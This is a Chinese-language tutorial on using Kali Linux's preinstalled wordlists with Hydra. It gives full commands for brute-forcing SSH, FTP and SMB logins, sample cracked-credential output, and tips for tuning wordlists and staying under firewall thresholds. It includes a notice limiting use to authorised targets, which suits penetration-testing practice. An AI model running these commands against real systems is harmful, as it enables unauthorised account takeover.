使用 Kali Linux 自带字典进行密码破解(以 Hydra 为例)是最便捷高效的方式,无需额外下载字典,直接调用系统预装的字典文件即可。以下是详细步骤,包含字典路径、解压方法、适配工具(Hydra)的使用示例及优化技巧:
一、Kali 自带字典核心路径与准备
Kali 预装的字典集中在 /usr/share/wordlists/ 目录下,其中最常用的是 rockyou.txt(需解压),其他字典可根据场景选择。
1. 关键字典路径与说明
| 字典名称 | 路径 | 特点与适用场景 |
|---|---|---|
rockyou.txt |
/usr/share/wordlists/rockyou.txt.gz |
1400 万 + 弱密码(需解压),覆盖全球常见密码,适用于绝大多数场景(SSH、FTP、Web 等) |
dirb/common.txt |
/usr/share/wordlists/dirb/common.txt |
小型字典(含常见用户名 / 密码),适合快速测试(如 admin:admin 组合) |
metasploit 系列 |
/usr/share/metasploit-framework/data/wordlists/ |
按系统分类(Unix/Windows),针对性破解特定系统密码 |
default-passwords.txt |
/usr/share/wordlists/default-passwords.txt |
设备默认密码(路由器、数据库等),适合攻击未修改默认配置的目标 |
2. 解压核心字典(rockyou.txt 必做)
rockyou.txt 默认是压缩包(.gz 格式),需先解压才能使用:
bash
# 进入字典目录
cd /usr/share/wordlists/
# 解压(需 root 权限,Kali 中默认已授权)
sudo gunzip rockyou.txt.gz
# 解压后生成 rockyou.txt,查看前10行验证
head rockyou.txt
二、结合 Hydra 使用自带字典的实战示例
以最常用的 rockyou.txt 和 dirb/common.txt 为例,演示针对不同服务的破解流程。
场景 1:破解 SSH 服务(用 rockyou.txt 密码字典)
目标 :攻击 Linux 目标机(IP:192.168.1.10)的 SSH 服务,尝试用户名 root。
步骤:
-
确认目标 SSH 端口开放(用
nmap验证):bash
nmap -p 22 192.168.1.10 # 显示端口开放(open)则可攻击 -
执行 Hydra 命令,调用
rockyou.txt作为密码字典:bash
hydra -l root -P /usr/share/wordlists/rockyou.txt -t 20 -vV -o ssh_result.txt 192.168.1.10 ssh- 参数解析:
-l root:指定用户名为root(SSH 常见管理员用户)。-P /usr/share/wordlists/rockyou.txt:使用 rockyou 密码字典。-t 20:20 线程(平衡效率与被拦截风险)。-o ssh_result.txt:保存成功结果到文件。
- 参数解析:
-
查看结果:若破解成功,终端会显示类似:
plaintext
[22][ssh] host: 192.168.1.10 login: root password: 123456同时
ssh_result.txt中会记录该凭据。
场景 2:快速测试弱密码组合(用 dirb/common.txt)
目标 :攻击 FTP 服务(IP:192.168.1.20),批量尝试常见用户名 + 密码组合(如 admin:admin)。
步骤:
-
dirb/common.txt包含简单用户名和密码,直接作为用户名字典和密码字典:bash
hydra -L /usr/share/wordlists/dirb/common.txt -P /usr/share/wordlists/dirb/common.txt -t 10 -vV 192.168.1.20 ftp- 逻辑:用
common.txt中的每个条目作为用户名,同时作为密码尝试(覆盖admin:admin、test:test等常见组合)。
- 逻辑:用
-
结果验证:若目标 FTP 存在
test:test凭据,会显示:plaintext
[21][ftp] host: 192.168.1.20 login: test password: test
场景 3:破解 Windows SMB 服务(用 metasploit 专用字典)
目标:攻击 Windows 主机(IP:192.168.1.30)的 SMB 服务,使用 Windows 专用密码字典。
步骤:
-
调用
metasploit中的 Windows 密码字典:bash
hydra -l Administrator -P /usr/share/metasploit-framework/data/wordlists/windows_passwords.txt -t 15 -vV 192.168.1.30 smb- 字典特点:
windows_passwords.txt包含 Windows 常见密码(如P@ssw0rd、Welcome1等符合 Windows 密码策略的组合)。
- 字典特点:
-
验证:成功后用
smbclient测试连接:bash
smbclient //192.168.1.30/C$ -U Administrator%密码 # 替换为爆破出的密码
三、优化技巧:提升自带字典的破解效率
-
截取字典前 N 行(快速测试)
rockyou.txt全量有 1400 万条,初期可截取前 1 万条快速测试:bash
# 截取前10000行保存为 small_rockyou.txt head -n 10000 /usr/share/wordlists/rockyou.txt > /root/small_rockyou.txt # 用精简字典攻击 hydra -l admin -P /root/small_rockyou.txt ... # 其他参数不变 -
**去重与排序(减少无效尝试)**部分字典可能有重复条目,去重后效率更高:
bash
sort -u /usr/share/wordlists/dirb/common.txt > /root/unique_common.txt # 去重 -
结合用户名生成关联密码(社工思路) 用
sed命令在字典中加入用户名相关组合(如在密码后添加用户名admin):bash
# 在 rockyou.txt 每条密码后添加 "admin"(如 "123456"→"123456admin") sed 's/$/admin/' /usr/share/wordlists/rockyou.txt > /root/rockyou_admin.txt -
按目标特征筛选字典 若目标是中文环境,筛选含拼音或数字的密码(用
grep过滤):bash
# 保留包含拼音(如 "zhangsan")或数字的密码 grep -E '[a-z]+|[0-9]+' /usr/share/wordlists/rockyou.txt > /root/chinese_target.txt
四、注意事项
- 合法性 :仅对自己拥有权限的目标使用,未经授权的破解属于违法行为。
- 字典选择 :
- 通用场景优先用
rockyou.txt(覆盖广)。 - 快速测试用
dirb/common.txt(体积小)。 - 特定系统用对应字典(如 Windows 用
windows_passwords.txt)。
- 通用场景优先用
- 性能控制:线程数不宜过高(建议 10-30),避免触发目标防火墙拦截。
通过以上步骤,可充分利用 Kali 自带字典的优势,高效完成密码破解演练。核心是根据目标服务类型和特征,选择合适的字典并优化使用方式,平衡效率与隐蔽性。